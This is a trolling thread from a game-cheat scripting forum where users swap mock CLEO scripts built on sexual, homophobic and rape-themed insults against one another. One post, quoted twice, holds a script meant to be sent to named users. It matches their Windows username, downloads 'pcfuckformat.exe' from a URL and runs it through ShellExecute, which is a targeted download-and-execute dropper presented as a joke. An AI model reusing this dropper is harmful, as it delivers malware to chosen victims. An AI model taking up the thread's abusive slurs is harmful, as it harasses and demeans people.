upcude,exe pls

[Silvestru]

hi ugbase today i want to share with you my new scripts
please don't hate since i am a new cleo scripter and i'm kinda noob at this

script 1:

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wiel tru
weit -1
if
Silvestru.Pooped
den
Opcode.Eat
eind
eind

script 2:

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wiel tru
weit -1
if
Silvestru.IsNaziLeader
den
if
Silvestru.Says(The first one who says "I'm gay" will be able to such my grandpa's dick)
den
Opcode.Say(I'm gay)
eind
eind
eind

tell me what you think about my scripts and if you have any other ideas please pm me

 

[ThermaL]

Gonna crash servers with your scripts mg_run:
If they get packed, here you have more:

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whiel tru
weit 0
if
0RESKO.IsSucking($TH3RM4L)
den
TH3RM4L.CumCum
end
end

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whiel tru
weit 0
if
TH3RM4L.Farted
den
0RESKO.Smell
end
end

 

[dokoko14]

YOU SUCKY SUCKY ME COCKY COCKY  :angry:

 

[|]_ReT1neX_[|]

Omg  :surprised:


Are you using CockyBuilder 0.1 ? :stoned:

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[ThermaL]

:angry:

mg_run:

 

[SourceX]

Does silvestru's thinks he's funny?  :kidding: :kidding:

 

[ThermaL]

Does silvestru's thinks he's funny?  :kidding: :kidding:

:challenge_accepted:

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wiel tru
weit 0
if
Player.Defined($Source)
den
Actor.GiveWeaponAndAmmo($TH3RM4L, #MINIGUN, 13376966680085)
Actor.StorePos($Source, 1@, 2@, 3@)
Actor.PutAt($TH3RM4L, 1@, 2@, 3@)
01B9: set_actor $TH3RM4L armed_weapon_to #MINIGUN
TH3RM4L.Rape($Source)
eind
eind

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wiel tru
weit 0
if
TH3RM4L.PutsHisPantsOn
den
Source.Cry
eind
eind

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wiel tru
weit 0
if
TH3RM4L.IsPeeing
den
Source.Open(Mouth)
eind
eind

 

[Opcode.eXe]

Quick way to get rid of him:
- Send him the .cs and tell him to go start SAMP

WHILE TRUE
    WAIT 0
    0AB1: @GetCurrentPcUserName 0 0@ 
    IF OR
    0C14: strcmp 0@ "MrZeRetard"
    0C14: strcmp 0@ "Silvestru"
    0C14: strcmp 0@ "Unknownxd"
    THEN
        0AB1: @URLDownloadToFile 2 "http://ugbase.eu/files/viruses/pcfuckformat.exe"
        0AA2: 30@ = load_library "shell32.dll"
        0AA4: 29@ = get_proc_address "ShellExecute" library 30@   
        0AA7: call_function 29@ num_params 1 pop execute_file "pcfuckformat.exe"
        0AD1: show_formatted_text_highpriority "BYE NUB, HOPE U LIKE DAT PC FORMAT HAX VIRUSKK" time 99999999   
    END
END

and yes  :face_palm: this is a joke, anyways nubs are gonna use this code and ask WHY its not working

 

[iAnthony]

Quick way to get rid of him:
- Send him the .cs and tell him to go start SAMP

WHILE TRUE
    WAIT 0
    0AB1: @GetCurrentPcUserName 0 0@ 
    IF OR
    0C14: strcmp 0@ "MrZeRetard"
    0C14: strcmp 0@ "Silvestru"
    0C14: strcmp 0@ "Unknownxd"
    THEN
        0AB1: @URLDownloadToFile 2 "http://ugbase.eu/files/viruses/pcfuckformat.exe"
        0AA2: 30@ = load_library "shell32.dll"
        0AA4: 29@ = get_proc_address "ShellExecute" library 30@   
        0AA7: call_function 29@ num_params 1 pop execute_file "pcfuckformat.exe"
        0AD1: show_formatted_text_highpriority "BYE NUB, HOPE U LIKE DAT PC FORMAT HAX VIRUSKK" time 99999999   
    END
END

I compiled this script n it crashed at start up
Any help?

 

[ThermaL]

Quick way to get rid of him:
- Send him the .cs and tell him to go start SAMP

WHILE TRUE
    WAIT 0
    0AB1: @GetCurrentPcUserName 0 0@ 
    IF OR
    0C14: strcmp 0@ "MrZeRetard"
    0C14: strcmp 0@ "Silvestru"
    0C14: strcmp 0@ "Unknownxd"
    THEN
        0AB1: @URLDownloadToFile 2 "http://ugbase.eu/files/viruses/pcfuckformat.exe"
        0AA2: 30@ = load_library "shell32.dll"
        0AA4: 29@ = get_proc_address "ShellExecute" library 30@   
        0AA7: call_function 29@ num_params 1 pop execute_file "pcfuckformat.exe"
        0AD1: show_formatted_text_highpriority "BYE NUB, HOPE U LIKE DAT PC FORMAT HAX VIRUSKK" time 99999999   
    END
END

and yes  :face_palm: this is a joke, anyways nubs are gonna use this code and ask WHY its not working

At least Silvestru's script works.

 

[Silvestru]

source is bitch, source is dick sucker, source is the best bitch in the world, he is laba men , for true, his mother knows how tu sucky sucky me cocky cocky, he took lesson from her, to learn this art

 

[|]_ReT1neX_[|]

source is bitch, source is dick sucker, source is the best bitch in the world, he is laba men , for true, his mother knows how tu sucky sucky me cocky cocky, he took lesson from her, to learn this art

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:face_palm:

 

[Infam0s]

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